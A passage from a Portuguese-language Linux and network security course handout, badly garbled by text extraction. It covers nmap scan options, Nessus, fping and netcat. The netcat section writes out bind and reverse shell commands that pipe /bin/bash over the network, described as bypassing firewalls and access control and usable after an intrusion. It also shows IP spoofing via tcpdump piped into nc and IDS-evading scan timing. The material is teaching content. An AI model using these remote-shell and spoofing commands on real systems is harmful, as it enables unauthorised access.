sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 42: Curso de segurança em linux e redes em geral

